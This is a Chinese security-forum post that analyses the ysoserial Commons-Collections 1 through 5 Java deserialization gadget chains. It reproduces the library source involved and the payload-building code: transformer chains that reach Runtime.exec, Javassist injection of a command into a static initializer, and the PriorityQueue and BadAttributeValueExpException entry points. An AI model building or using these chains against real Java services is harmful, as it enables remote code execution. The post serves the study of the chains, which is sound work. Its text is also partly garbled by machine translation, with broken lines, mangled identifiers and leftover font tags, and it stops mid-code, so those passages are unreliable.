电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1226 人浏览分享

Ysoserial Commons-Collections 利用链分析

[复制链接]
1226 0
本帖最后由 zhaorong 于 2021-9-16 14:37 编辑

Commons-Collections1

首先变压器反射链,调用Chained变压器封装外壳,方法再现。
  1. final Transformer[] transformers = new Transformer[] {
  2.     new ConstantTransformer(Runtime.class),
  3.     new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, ne
  4. w Object[] {"getRuntime", new Class[0] }),
  5.     new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new
  6. Object[] {null, new Object[0] }),
  7.     new InvokerTransformer("exec",new Class[] { String.class }, execArgs)
  8. };
  9. final Transformer transformerChain = new ChainedTransformer(transformers);
复制代码

InvokerTransformer sink点解析:
首先跟踪base sink点InvokerTransformer#transform方法,以及InvokerTransformer构造方法。
在InvokerTransformer#transform(Object input)方法中调用了invoke方法
  1. public Object transform(Object input) {
  2.     if (input == null) {
  3.         return null;
  4.     }
  5.     try {
  6.         Class cls = input.getClass();
  7.         Method method = cls.getMethod(iMethodName, iParamTypes);
  8.         return method.invoke(input, iArgs);
  9.     } catch (NoSuchMethodException ex) {
  10.         throw new FunctorException("InvokerTransformer: The method '" + iMethodNa
  11. me + "' on '" + input.getClass() + "' does not exist");
  12.     } catch (IllegalAcces**ception ex) {
  13.         throw new FunctorException("InvokerTransformer: The method '" + iMethodNa
  14. me + "' on '" + input.getClass() + "' cannot be accessed");
  15.     } catch (InvocationTargetException ex) {
  16.         throw new FunctorException("InvokerTransformer: The method '" + iMethodNa
  17. me + "' on '" + input.getClass() + "' threw an exception", ex);
  18.     }
  19. }
复制代码

调用方法存在三个输入点,分别是方法对象,输入和this.iArgs两个形参。控).iArgs可以通过调用
  1. InvokerTransformer(String methodName, Class[] params, Object[] args)构造方法进行赋值。
  2. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  3.     super();
  4.     iMethodName = methodName;
  5.     iParamTypes = paramTypes;
  6.     iArgs = args;
  7. }
复制代码

方法对象可以通过调用cls.getMethod(this.iMethodName, this.iParamTypes)获取 其中getMethod方法的两个形
参也都可以通过调用上述的InvokerTransformer构造方法进行。中的任意方法对象。此时
如果可以控制变换方法的参数 就可以通过inv方法。调用任意类中的任意方法。

目前存在的问题:

1,如果可以找到满足的变换,也可以调用一次。但可以构造一个任意命令的目标Runtime对象需要调用
如何三次反射。2,控制InvokerTransformer#transform方法的参数
针对问题1,工具作者找到了ChainedTransformer类。
通过调用ChainedTransformer构造对象函数 生成Transformer数组。
  1. public ChainedTransformer(Transformer[] transformers) {
  2.     super();
  3.     iTransformers = transformers;
  4. }
复制代码

且调用ChainedTransformer#transform方法,可以调用Transformer数组中的Transformer
对象从而完成转换三次反射方法的结果。
  1. public Object transform(Object object) {
  2.     for (int i = 0; i < iTransformers.length; i++) {
  3.         object = iTransformers[i].transform(object);
  4.     }
  5.     return object;
  6. }
复制代码

针对问题2,作者找到了ConstantTransformer类 通过调用ConstantTransformer构造
方法可以为iConstantTransformer工具
  1. public ConstantTransformer(Object constantToReturn) {
  2.     super();
  3.     iConstant = constantToReturn;
  4. }
复制代码

由于ConstantTransformer继承Transformer,同样也可以单元到Transformer数组中调用
transform。ConstantTransformer#transform(Object input)方法会返回之前可控的
iConstant属性,因此控制InvokerTransformer#transform的参数参数

此时调用数组四变换对象的ChainedTransform对象的ChainedTransform方法#transform
方法时触发触发。效果等价于下面代码。
  1. Class clazz = Runtime.class;
  2. Object obj1 = clazz.getClass().getMethod("getMethod", new Class[]{"getRuntime".getClass(),
  3. new Class[0].getClass()}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
  4. Object obj2 = obj1.getClass().getMethod("invoke", new Class[]{new Object().getClass(), new
  5. Object[0].getClass()}).invoke(obj1, new Object[]{null, new Object[0]});
  6. Object obj3 = obj2.getClass().getMethod("exec", new Class[]{new String[]{"calc"}.ge
  7. tClass()}).invoke(obj2, new Object[]{new String[]{"calc"}});
复制代码

此时下沉点方法成功 下层需要找到可以调用到Chainedformer#transform的源
工具。作者找到了LazyMap类来调用转换方法。当调用LazyMap#get方法时
调用这个.factory.transform(键)方法。
  1. public Object get(Object key) {
  2.     if (!super.map.containsKey(key)) {
  3.         Object value = this.factory.transform(key);
  4.         super.map.put(key, value);
  5.         return value;
  6.     } else {
  7.         return super.map.get(key);
  8.     }
  9. }
复制代码

而其中的this.factory对象,通过调用decorate(Map map, Transformer factory)方法
可以调用LazyMap(Map Factory factory)构造方法进行控制
  1. public static Map decorate(Map map, Transformer factory) {
  2.     return new LazyMap(map, factory);
  3. }
  4. protected LazyMap(Map map, Transformer factory) {
  5.     super(map);
  6.     if (factory == null) {
  7.         throw new IllegalArgumentException("Factory must not be null");
  8.     } else {
  9.         this.factory = factory;
  10.     }
  11. }
复制代码

此时 方法链找到调用zyMap#getObject key(Object key)的入口,利用这一招的构造。
接下来作者找到了sun.reflect.annotation.AnnotationInvocationHandler入口类在sun.reflect.annot
ation.AnnotationInvocationHandler#invoke方法中。调用了this.memberValues.get(var4)方法。
  1. public Object invoke(Object var1, Method var2, Object[] var3) {
  2.     String var4 = var2.getName();
  3.     Class[] var5 = var2.getParameterTypes();
  4.     if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
  5.         return this.equalsImpl(var3[0]);
  6.     } else {
  7.         assert var5.length == 0;

  8.         if (var4.equals("toString")) {
  9.             return this.toStringImpl();
  10.         } else if (var4.equals("hashCode")) {
  11.             return this.hashCodeImpl();
  12.         } else if (var4.equals("annotationType")) {
  13.             return this.type;
  14.         } else {
  15.             Object var6 = this.memberValues.get(var4);
  16.             if (var6 == null) {
  17.                 throw new IncompleteAnnotationException(this.type, var4);
  18.             } else if (var6 instanceof ExceptionProxy) {
  19.                     throw ((ExceptionProxy)var6).generateException();
  20.                 } else {
  21.                     if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
  22.                         var6 = this.cloneArray(var6);
  23.                     }

  24.                     return var6;
  25.                 }
  26.             }
  27.         }
  28.     }
复制代码

且在AnnotationInvocationHandler构造方法中。可以为this.memberValues属性赋值。
  1. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
  2.     this.type = var1;
  3.     this.memberValues = var2;
  4. }
复制代码

且AnnotationInvocationHandler继承Serializable 可以反序列化。追溯一下反序列化入口的readObject方法。
  1. private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
  2.     var1.defaultReadObject();
  3.     AnnotationType var2 = null;

  4.     try {
  5.         var2 = AnnotationType.getInstance(this.type);
  6.     } catch (IllegalArgumentException var9) {
  7.         throw new InvalidObjectException("Non-annotation type in annotation serial stream");
  8.     }

  9.     Map var3 = var2.memberTypes();
  10.     Iterator var4 = this.memberValues.entrySet().iterator();

  11.     while(var4.hasNext()) {
  12.         Entry var5 = (Entry)var4.next();
  13.         String var6 = (String)var5.getKey();
  14.         Class var7 = (Class)var3.get(var6);
  15.         if (var7 != null) {
  16.             Object var8 = var5.getValue();
  17.             if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
  18.                 var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getC
  19. lass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
  20.             }
  21.         }
  22.     }
  23. }
复制代码

在readObject方法中调用this.memberValues.entrySet().iterator()方法,其中this.memberValues可以通过调用
AnnotationInvocationHandler构造方法,赋值里为LazyMap对象,且LazyMap对象被创建动态代理类,代理接
口为Map.class,当调用Map.class类中的方法时将调用AnnotationInvocationHandler#invoke方法。entrySet
方法是Map.class中的方法。因此会进入AnnotationInvocationHandler#invoke方法中。并调用this.member
Values.get(var4)方法。this.memberValues是LazyMap因此完成了下沉点的建成完成了整个gadget的构造。

Commons-Collections2

首先分析sink点 作者调用了自定义方法Gadgets.createTemplatesImpl生成TemplatesImpl对象
具体查一下一下生成过程。首先进入Gadgets#createTemplatesImpl方法中。
  1. public static Object createTemplatesImpl ( final String command ) throws Exception {
  2.     if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
  3.         return createTemplatesImpl(
  4.             command,
  5.             Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
  6.             Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
  7.             Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
  8.     }
  9.     return createTemplatesImpl(command, TemplatesImpl.class, AbstractTransl
  10. et.class, TransformerFactoryImpl.class);
  11. }
复制代码

在类中重载createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, Transformer
FactoryImpl.class)方法,并极速cmd恶意命令和org.apache.xalan.xsltc.trax.TemplatesImpl.class、org.a
pache.xalan. xsltc.runtime.AbstractTranslet.class、org.apache.xalan.xsltc.trax.TransformerFactoryImp
l.class。重点跟踪一下cmd是如何被注入在利用链中。
  1. public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?>
  2. abstTranslet, Class<?> transFactory ) throws Exception {
  3.     final T templates = tplClass.newInstance();
  4.     // use template gadget class
  5.     ClassPool pool = ClassPool.getDefault();
  6.     pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
  7.     pool.insertClassPath(new ClassClassPath(abstTranslet));
  8.     final CtClass clazz = pool.get(StubTransletPayload.class.getName());
  9.     // run command in static initializer
  10.     // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
  11.     String cmd = "java.lang.Runtime.getRuntime().exec("" +
  12.         command.replaceAll("\\\","\\\\\\\").replaceAll(""", "\\"") +
  13.         "");";
  14.     clazz.makeClassInitializer().insertAfter(cmd);
  15.     // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
  16.     clazz.setName("ysoserial.Pwner" + System.nanoTime());
  17.     CtClass superC = pool.get(abstTranslet.getName());
  18.     clazz.setSuperclass(superC);
  19.     final byte[] classBytes = clazz.toBytecode();
  20.     // inject class bytes into instance
  21.     Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
  22.         classBytes, ClassFiles.classAsBytes(Foo.class)
  23.     });
  24.     // required to make TemplatesImpl happy
  25.     Reflections.setFieldValue(templates, "_name", "Pwnr");
  26.     Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
  27.     return templates;
复制代码

结合Javasist库的相关方法 分析createTemplatesImpl方法:
  1. ClassPool pool = ClassPool.getDefault();  //创建一个ClassPool实例化对象ClassPool是
  2. 一个存放着代表class文件的CtClass类容器
  3. pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));  //将StubTransletPayload.class
  4. 的路径加到类搜索路径中。(通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的问题)
  5. pool.insertClassPath(new ClassClassPath(abstTranslet));  //同理 将org.apache.xalan.xsltc.runtime.
  6. AbstractTranslet.class的路径加到类搜索路径中。
  7. final CtClass clazz = pool.get(StubTransletPayload.class.getName());  //获取StubTransl
  8. etPayload的CtClass对象,用于后续的编辑。
  9. String cmd = "java.lang.Runtime.getRuntime().exec("" + command.replaceAll("\\\","\\\\\\\").rep
  10. laceAll(""", "\\"") + "");";  //声明cmd属性对象,并注入传入的command参数。
  11. clazz.makeClassInitializer().insertAfter(cmd);  //clazz.makeClassInitializer() -> 新增静态代码块。
  12.                                                 //insertAfter() -> 插入代码。
  13.                                                 //此段代码是将cmd变量中的代码,注入到StubTransletPayload类中的静态代码块中。
  14. clazz.setName("ysoserial.Pwner" + System.nanoTime());  //修改类名(暂不清楚具体作用是什么)
  15. CtClass superC = pool.get(abstTranslet.getName());  //获取org.apache.xalan.xsltc.runtime.AbstractT
  16. ranslet对象(StubTransletPayload继承于org.apache.xalan.xsltc.runtime.AbstractTranslet)
  17. clazz.setSuperclass(superC);  //将org.apache.xalan.xsltc.runtime.AbstractTranslet设置为StubTransletPayload的父类。
  18. final byte[] classBytes = clazz.toBytecode();  将StubTransletPayload对象转换成byte数组。
  19. Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBy
  20. tes(Foo.class)});  //通过反射将StubTransletPayload对象的byte流赋值给_bytecodes属性中。
  21. Reflections.setFieldValue(templates, "_name", "Pwnr");  //反射赋值
  22. Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());  //反射赋值工厂类。
复制代码

上述流程 通过利用Javasist库。将恶意代码注入到自定义的StubTransletPayload类中将StubTranslet
Payload类转换成byte数组,通过引用赋值给org.apache.xalan.xsltc.trax.TemplatesImpl类中的_byte
codes属性最终返回TemplatesImpl对象。

这时当实例化org.apache.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性中的类发酵触发恶
意代码执行。作者找到了TemplatesImpl#newTransformer方法_bytecodes中的字节字节流。
  1. public synchronized Transformer newTransformer() throws TransformerConfigurationException
  2. {
  3.     TransformerImpl transformer;

  4.     transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
  5.         _indentNumber, _tfactory);
  6.     if (_uriResolver != null) {
  7.         transformer.setURIResolver(_uriResolver);
  8.     }
  9.     if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
  10.         transformer.setSecureProcessing(true);
  11.     }
  12.     return transformer;
  13. }
复制代码

重点跟进分析调用的getTransletInstance方法。
  1. private Translet getTransletInstance() throws TransformerConfigurationException {
  2.     try {
  3.         if (_name == null) return null;
  4.         if (_class == null) defineTransletClasses();
  5.         // The translet needs to keep a reference to all its auxiliary
  6.         // class to prevent the GC from collecting them
  7.         AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
  8.         translet.postInitialization();
  9.         translet.setTemplates(this);
  10.         translet.setServicesMechnism(_useServicesMechanism);
  11.         translet.setAllowedProtocols(_acces**ternalStylesheet);
  12.         if (_auxClasses != null) {
  13.             translet.setAuxiliaryClasses(_auxClasses);
  14.         }
  15.         return translet;
  16.     }
  17.     catch (InstantiationException e) {
  18.         ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
  19.         throw new TransformerConfigurationException(err.toString());
  20.     }
  21.     catch (IllegalAcces**ception e) {
  22.         ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
  23.         throw new TransformerConfigurationException(err.toString());
  24.     }
  25. }
复制代码

首先调用defineTransletClasses()方法加载_bytecodes。
  1. private void defineTransletClasses() throws TransformerConfigurationException {
  2.     if (_bytecodes == null) {
  3.         ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
  4.         throw new TransformerConfigurationException(err.toString());
  5.     }

  6.     TransletClassLoader loader = (TransletClassLoader)
  7.         AccessController.doPrivileged(new PrivilegedAction() {
  8.             public Object run() {
  9.                 return new TransletClassLoader(ObjectFactory.findClassLo
  10. ader(),_tfactory.getExternalExtensionsMap());
  11.             }
  12.         });
  13.     try {
  14.         final int classCount = _bytecodes.length;
  15.         _class = new Class[classCount];

  16.         if (classCount > 1) {
  17.             _auxClasses = new HashMap<>();
  18.         }
  19.         for (int i = 0; i < classCount; i++) {
  20.             _class[i] = loader.defineClass(_bytecodes[i]);
  21.             final Class superClass = _class[i].getSuperclass();

  22.             // Check if this is the main class
  23.             if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
  24.                 _transletIndex = i;
  25.             }
  26.             else {
  27.                 _auxClasses.put(_class[i].getName(), _class[i]);
  28.             }
  29.         }
  30.         if (_transletIndex < 0) {
  31.             ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
  32.             throw new TransformerConfigurationException(err.toString());
  33.         }
  34.     }
  35.     catch (ClassFormatError e) {
  36.         ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
  37.         throw new TransformerConfigurationException(err.toString());
  38.     }
  39.     catch (LinkageError e) {
  40.         ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
  41.         throw new TransformerConfigurationException(err.toString());
  42.     }
  43. }
复制代码

_class = loader.defineClass(_bytecodes) 将_bytecodes属性中的恶意字节流调用给TemplatesImpl#_class属性中。
回到调用_class[_transletIndex].newInstance() 实例化_class字节流里的类,从而触发恶意代码。
需要找到一个可以调用TemplatesImpl#newTransformer的方式。回一下CommonsCollections1中的可以
调用现在任意方法的InvokerTransformer#transform(object input)方法。

将TemplatesImpl对象作为转换方法的参数参数
将newTransformer赋给InvokerTransformer#iMethodName
找到一个可以调用InvokerTransformer#transform(object input)的方法
满足上述三个条件,分类实现TemplatesImpl#newTransformer方法。

第二个条件可以通过反射来解决 重点可以找到一个满足条件一和条件三的来源。这里工具作者
了java.util.PriorityQueue作为入口类。从反序列化入口PriorityQueue#readObject方法分析。
  1. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
  2.     // Read in size, and any hidden stuff
  3.     s.defaultReadObject();
  4.     // Read in (and discard) array length
  5.     s.readInt();
  6.     queue = new Object[size];
  7.     // Read in all elements.
  8.     for (int i = 0; i < size; i++)
  9.         queue[i] = s.readObject();
  10.     // Elements are guaranteed to be in "proper order", but the
  11.     // spec has never explained what that might be.
  12.     heapify();
  13. }
复制代码

调用heapify()方法。
  1. private void heapify() {
  2.     for (int i = (size >>> 1) - 1; i >= 0; i--)
  3.         siftDown(i, (E) queue[i]);
  4. }
复制代码

调用siftDown(i, (E) queue)方法。
  1. private void siftDown(int k, E x) {
  2.     if (comparator != null)
  3.         siftDownUsingComparator(k, x);
  4.     else
  5.         siftDownComparable(k, x);
  6. }
复制代码

这里存在一个判断逻辑,判断条件是PriorityQueue#comparator是否为空。执行siftDownUsingComparator方法。
进入siftDownUsingComparator方法中。
  1. private void siftDownUsingComparator(int k, E x) {
  2.     int half = size >>> 1;
  3.     while (k < half) {
  4.         int child = (k << 1) + 1;
  5.         Object c = queue[child];
  6.         int right = child + 1;
  7.         if (right < size &&
  8.             comparator.compare((E) c, (E) queue[right]) > 0)
  9.             c = queue[child = right];
  10.         if (comparator.compare(x, (E) c) <= 0)
  11.             break;
  12.         queue[k] = c;
  13.         k = child;
  14.     }
  15.     queue[k] = x;
  16. }
复制代码

通过调用siftDownUsingComparator方法 可以调用任意实现java.util.Comparator接口的类的比较方法。此时
我们需要找到一个实现java.util.Comparator接口。并且在比较方法中调用InvokerTransformer#transform的方
法作者找到了org.apache.commons.collections4.comparators.TransformingComparator类。
  1. public int compare(I obj1, I obj2) {
  2.     O value1 = this.transformer.transform(obj1);
  3.     O value2 = this.transformer.transform(obj2);
  4.     return this.decorated.compare(value1, value2);
  5. }
复制代码

通过调用TransformingCompator(Transformer<? super I, ? extends O>transformer)构造
可以为this.transformer赋方法。
  1. public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
  2.     this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
  3. }
  4. public TransformingComparator(Transformer<? super I, ? extends O> tra
  5. nsformer, Comparator<O> decorated) {
  6.     this.decorated = decorated;
  7.     this.transformer = transformer;
  8. }
复制代码

通过org.apache.commons.collections4.comparators.TransformingComparator类满足条件一
将TemplatesImpl对象作为转换方法的参数参数和条件三找到一个可以调用InvokerTransforme
r#transform(object input)的方法。

到此完成整个利用链的构建。

Commons-Collections3

CommonsCollections3的source与CommonsCollections1的source相同。都是以sun.reflect.anno
tation.AnnotationInvocationHandler作为入口,通过创建方法Map动态代理类,通过调用sun.refle
ct.annotation.AnnotationInvocationHandler的invoke,从而调用LazyMap#get方法 控制实现
Transformer接口下的任意类中的变换方法。
  1. final Map innerMap = new HashMap();
  2. final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  3. final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  4. final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

  5. return handler;
复制代码

CommonsCollections3的宿点构造思路则是和CommonsCollections2中的碱宿点将恶意字节流注入到org.apa
che.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性。等待调用TemplatesImpl#newTransformer方法。
Object templatesImpl = Gadgets.createTemplatesImpl(command);
CommonsCollections3的不同在于。小工具作者找到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类
在TrAXFilter(Templates templates)构造方法中。调用了templates.newTransformer()方法。
  1. public TrAXFilter(Templates templates) throws TransformerConfigurationException
  2. {
  3.     _templates = templates;
  4.     _transformer = (TransformerImpl) templates.newTransformer();
  5.     _transformerHandler = new TransformerHandlerImpl(_transformer);
  6.     _useServicesMechanism = _transformer.useServicesMechnism();
  7. }
复制代码

工具作者找到了InstantiateTransformer#transform(object input)方法通过调用
此方法实现TrAXFilter构造方法的调用。
  1. final Transformer transformerChain = new ChainedTransformer(
  2.     new Transformer[]{
  3.     new ConstantTransformer(TrAXFilter.class),
  4.     new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } )
  5.     }
  6. );
复制代码

与InvokerTransformer#trans类似方,InstantiateTransformer#transform(object input
方法会调用模块的object对象的构造方法。
  1. public Object transform(Object input) {
  2.     try {
  3.         if (input instanceof Class == false) {
  4.             throw new FunctorException(
  5.                 "InstantiateTransformer: Input object was not an instanceof Class, it was a "
  6.                     + (input == null ? "null object" : input.getClass().getName()));
  7.         }
  8.         Constructor con = ((Class) input).getConstructor(iParamTypes);
  9.         return con.newInstance(iArgs);

  10.     } catch (NoSuchMethodException ex) {
  11.         throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
  12.     } catch (InstantiationException ex) {
  13.         throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
  14.     } catch (IllegalAcces**ception ex) {
  15.         throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
  16.     } catch (InvocationTargetException ex) {
  17.         throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
  18.     }
  19. }
复制代码

如果变换方法的粒子参数输入 且iParamTypes目标的构造方法与iArgs构造方法的参数参数
可以随时可以调用类的构造方法。
  1. public InstantiateTransformer(Class[] paramTypes, Object[] args) {
  2.     super();
  3.     iParamTypes = paramTypes;
  4.     iArgs = args;
  5. }
复制代码

通过调用InstantiateTransformer构造方法可以实现对iParamTypes和iParamTypes的参数控制。当前
的目标是调用TrFilter(有害模板AX)构造方法。通过构造对象引用的ChainedTransformer反射链效果:
TrAXFilter.getConstructor(Templates.class).newInstance(恶意Templates对象)
从而实现组件有害Templates对象的TrAXFilter对象调用构造方法。实现有害模板对象的newTransformer调用
从而完成利用链的构造。

Commons-Collections4

CommonsCollections4的利用链构造是结合CommonsCollections2的源点java.util.PriorityQueue和
CommonsCollections3的sink点com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
sink:
  1. Object templates = Gadgets.createTemplatesImpl(command);
  2. ConstantTransformer constant = new ConstantTransformer(String.class);

  3. // mock method name until armed
  4. Class[] paramTypes = new Class[] { String.class };
  5. Object[] args = new Object[] { "foo" };
  6. InstantiateTransformer instantiate = new InstantiateTransformer(
  7.                 paramTypes, args);

  8. // grab defensively copied arrays
  9. paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
  10. args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

  11. ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
  12. ···
  13. Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
  14. paramTypes[0] = Templates.class;
  15. args[0] = templates;
复制代码

来源:
  1. PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
  2. queue.add(1);
  3. queue.add(1);

  4. return queue;
复制代码

这里有一个问题:为什么不能像CommonsCollections3一样。在实例化ConstantTransformer对象时直接吸附
TrAXFilter 以及实例化InstantiateTransformer对象对象。直接高速Templates.class和Templates对象?
由于PriorityQueue作为反序列化入口类。且元素有害对象的队列属性设置了瞬态所以需要调用Priority
Queue#add方法为关键字属性设置。而在赋值的过程中会调用comparator.compare(x, ( E) e)方法。
  1. public boolean add(E e) {
  2.     return offer(e);
  3. }
复制代码

调用offer方法
  1. public boolean offer(E e) {
  2.     if (e == null)
  3.         throw new NullPointerException();
  4.     modCount++;
  5.     int i = size;
  6.     if (i >= queue.length)
  7.         grow(i + 1);
  8.     size = i + 1;
  9.     if (i == 0)
  10.         queue[0] = e;
  11.     else
  12.         siftUp(i, e);
  13.     return true;
  14. }
复制代码

调用siftUpUsingComparator方法
  1. private void siftUp(int k, E x) {
  2.     if (comparator != null)
  3.         siftUpUsingComparator(k, x);
  4.     else
  5.         siftUpComparable(k, x);
  6. }
复制代码

最终调用comparator.compare(x, (E) e)方法。
  1. private void siftUpUsingComparator(int k, E x) {
  2.     while (k > 0) {
  3.         int parent = (k - 1) >>> 1;
  4.         Object e = queue[parent];
  5.         if (comparator.compare(x, (E) e) >= 0)
  6.             break;
  7.         queue[k] = e;
  8.         k = parent;
  9.     }
  10.     queue[k] = x;
  11. }
复制代码

如果在调用add方法之前,调用ConstantTransformerTrAXFilter.class方法生成ConstantTransformer实例化对象调
用InstantiateTransformer(Templates.class,恶意Templates对象)生成InstantiateTransformer实例化对象。在调用
add方法是会触发TransformingComparator#compare调用链。加载AX调用ConstantTransformer#transform方法
返回TrFilter对象。再调用InstantiateTransformer#transform方法 调用

TrAXFilter.getConstructor((Templates.class).newInstance(templates)方法。从而在序列化之前触发
了代码并抛出异常终止程序正常流程是在服务器上反序列化。执行代码后抛出异常。
因此为了避免程序在序列化之前停止,需要在调用添加方法前。实例化不会抛出异常的正常ConstantTransformer
实例化对象和InstantiateTransformer实例化对象。在执行添加方法后 再通过反射将两个中的对应属性进行了更改
完成序列化的正常运行。

CommonsCollections4 的构造思路 结合CommonsCollections3 的实现组件有用模板对象的TrAXFilter对象调用构造方法
实现有害模板对象的newTransformer调用的,生成一个恶意ChainedTransformer对象,再结合CommonsCollections2
的来源通过调用PriorityQueue的构造。将恶意的ChainedTransformer对象赋值给PriorityQueue#comparator属性。
  1. ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
  2. // create queue with numbers
  3. PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
  4. public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) {
  5.     // Note: This restriction of at least one is not actually needed,
  6.     // but continues for 1.5 compatibility
  7.     if (initialCapacity < 1)
  8.         throw new IllegalArgumentException();
  9.     this.queue = new Object[initialCapacity];
  10.     this.comparator = comparator;
  11. }
复制代码

在PriorityQueue进行反序列化时调用comparator.comp。从而调用TransformingComparator.compare
从而方法调用ChainedTransformer.transform完成sink点的调用,从而实现利用链的构造。

Commons-Collections5

首先变压器反射链调用ChainedTransformer封装变压器阵列方法组装反射。
  1. Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
  2. Transformer[] transformers = new Transformer[]{
  3. new ConstantTransformer(Runtime.class),
  4. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  5. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  6. new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)
  7. };
复制代码

实例化Map对象调用LazyMap类中的属性方法。将transformerChain对象传递给LazyMap#factory
此时LazyMap#get方法且对象的key对象不在map对象中。便可以触发调用引用发生的反射链。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">映射innerMap = new HashMap(); </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Map lazyMap = LazyMap.decorate(innerMap,transformerChain); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">public Object get(Object key) { </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    if (!super.map.containsKey(key)) { </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        Object value = this.factory.transform(key); </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        super.map.put(key, value); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        返回值;</font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } else { </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        return super.map.get(key); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

利用链作者利用TiedMapEntry类封装LazyMap对象。并通过反序列化BadAttributeValueExpException
类控制BadAttributeValueExpException#val属性,调用任意类中的toString()。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">BadAttributeValueExpException val = new BadAttributeValueExpException((Object)null); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">字段 valfield = val.getClass().getDeclaredField("val"); </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Reflections.setAccessible(valfield); </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">valfield.set(val, entry); </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">private void readObject(ObjectInputStream ois) 抛出 IOException, ClassNotFoundException { </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    ObjectInputStream.GetField gf = ois.readFields(); </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    Object valObj = gf.get("val", null); </font></font>

  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    if (valObj == null) { </font></font>
